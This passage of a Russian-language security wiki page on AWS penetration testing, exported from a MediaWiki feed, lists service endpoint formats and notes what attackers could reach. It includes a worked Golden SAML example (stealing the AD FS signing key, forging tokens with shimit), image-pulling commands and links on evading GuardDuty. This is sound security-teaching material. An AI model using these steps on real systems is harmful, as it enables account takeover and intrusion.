&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.&lt;br /&gt;
&lt;br /&gt;
Источники метрик:&lt;br /&gt;
&lt;br /&gt;
* CloudWatch&lt;br /&gt;
&lt;br /&gt;
* AWS Config&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
&lt;br /&gt;
* X-Ray&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль &amp;quot;Amazon DevOps Guru_Role&amp;quot; и привилегии на доступ к следующим ресурсам:&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Events&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Logs&lt;br /&gt;
&lt;br /&gt;
* AWS CodeDeploy&lt;br /&gt;
&lt;br /&gt;
* AWS CodePipeline&lt;br /&gt;
&lt;br /&gt;
* AWS CloudFormation&lt;br /&gt;
&lt;br /&gt;
* AWS CloudTrail&lt;br /&gt;
&lt;br /&gt;
* AWS Systems Manager&lt;br /&gt;
&lt;br /&gt;
* AWS X-Ray&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
При настройке можно выбрать один из forecasting-доменов:&lt;br /&gt;
&lt;br /&gt;
* Retail&lt;br /&gt;
&lt;br /&gt;
* Custom&lt;br /&gt;
&lt;br /&gt;
* Inventory planning&lt;br /&gt;
&lt;br /&gt;
* EC2 capacity&lt;br /&gt;
&lt;br /&gt;
* Work force&lt;br /&gt;
&lt;br /&gt;
* Web traffic&lt;br /&gt;
&lt;br /&gt;
* Metrics&lt;br /&gt;
&lt;br /&gt;
Формально это шаблоны для быстрой настройки сервиса.&lt;br /&gt;
&lt;br /&gt;
Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1230</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1230"/>
				<updated>2022-10-17T15:13:47Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* DevOps Guru */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
